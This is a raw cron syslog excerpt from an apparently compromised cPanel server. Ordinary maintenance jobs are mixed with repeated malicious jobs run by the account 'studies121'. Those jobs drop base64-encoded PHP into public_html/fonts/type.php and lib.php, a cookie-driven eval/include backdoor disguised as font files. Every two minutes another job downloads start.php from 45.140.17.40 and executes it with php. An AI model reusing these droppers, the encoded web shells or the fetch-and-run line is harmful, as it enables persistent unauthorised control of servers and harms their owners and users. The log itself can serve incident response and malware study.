Sep  9 09:00:02 ip-184-168-122-23 CROND[17180]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  9 09:01:01 ip-184-168-122-23 CROND[17297]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17297]: starting 0anacron
Sep  9 09:01:01 ip-184-168-122-23 CROND[17305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:01:01 ip-184-168-122-23 CROND[17307]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17309]: finished 0anacron
Sep  9 09:01:01 ip-184-168-122-23 CROND[17310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:01:01 ip-184-168-122-23 CROND[17308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:01:01 ip-184-168-122-23 CROND[17313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:02:01 ip-184-168-122-23 CROND[17420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:02:01 ip-184-168-122-23 CROND[17421]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:02:01 ip-184-168-122-23 CROND[17422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:02:01 ip-184-168-122-23 CROND[17424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:02:01 ip-184-168-122-23 CROND[17425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:03:02 ip-184-168-122-23 CROND[17539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:03:02 ip-184-168-122-23 CROND[17536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:03:02 ip-184-168-122-23 CROND[17537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:03:02 ip-184-168-122-23 CROND[17538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:04:01 ip-184-168-122-23 CROND[17695]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:04:01 ip-184-168-122-23 CROND[17697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:04:01 ip-184-168-122-23 CROND[17696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:04:01 ip-184-168-122-23 CROND[17699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:04:01 ip-184-168-122-23 CROND[17698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:05:01 ip-184-168-122-23 CROND[17923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:05:01 ip-184-168-122-23 CROND[17924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:05:01 ip-184-168-122-23 CROND[17926]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 09:05:01 ip-184-168-122-23 CROND[17931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:05:01 ip-184-168-122-23 CROND[17929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:05:01 ip-184-168-122-23 CROND[17930]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:05:01 ip-184-168-122-23 CROND[17932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:06:01 ip-184-168-122-23 CROND[18108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:06:01 ip-184-168-122-23 CROND[18110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:06:01 ip-184-168-122-23 CROND[18112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:06:01 ip-184-168-122-23 CROND[18111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:06:01 ip-184-168-122-23 CROND[18113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:07:01 ip-184-168-122-23 CROND[18227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:07:01 ip-184-168-122-23 CROND[18228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:07:01 ip-184-168-122-23 CROND[18230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:07:01 ip-184-168-122-23 CROND[18232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:08:01 ip-184-168-122-23 CROND[18361]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:08:01 ip-184-168-122-23 CROND[18363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:08:01 ip-184-168-122-23 CROND[18364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:08:01 ip-184-168-122-23 CROND[18367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:08:01 ip-184-168-122-23 CROND[18366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:09:01 ip-184-168-122-23 CROND[18463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:09:01 ip-184-168-122-23 CROND[18464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:09:01 ip-184-168-122-23 CROND[18465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:09:01 ip-184-168-122-23 CROND[18468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:09:01 ip-184-168-122-23 CROND[18469]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 09:10:01 ip-184-168-122-23 CROND[18580]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:10:01 ip-184-168-122-23 CROND[18582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:10:01 ip-184-168-122-23 CROND[18587]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 09:10:01 ip-184-168-122-23 CROND[18583]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:10:01 ip-184-168-122-23 CROND[18584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:10:01 ip-184-168-122-23 CROND[18588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:10:01 ip-184-168-122-23 CROND[18586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:10:01 ip-184-168-122-23 CROND[18585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:11:01 ip-184-168-122-23 CROND[18814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:11:01 ip-184-168-122-23 CROND[18816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:11:01 ip-184-168-122-23 CROND[18817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:11:01 ip-184-168-122-23 CROND[18818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:12:01 ip-184-168-122-23 CROND[18931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:12:01 ip-184-168-122-23 CROND[18932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:12:01 ip-184-168-122-23 CROND[18933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:12:01 ip-184-168-122-23 CROND[18935]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:12:01 ip-184-168-122-23 CROND[18937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:13:01 ip-184-168-122-23 CROND[19047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
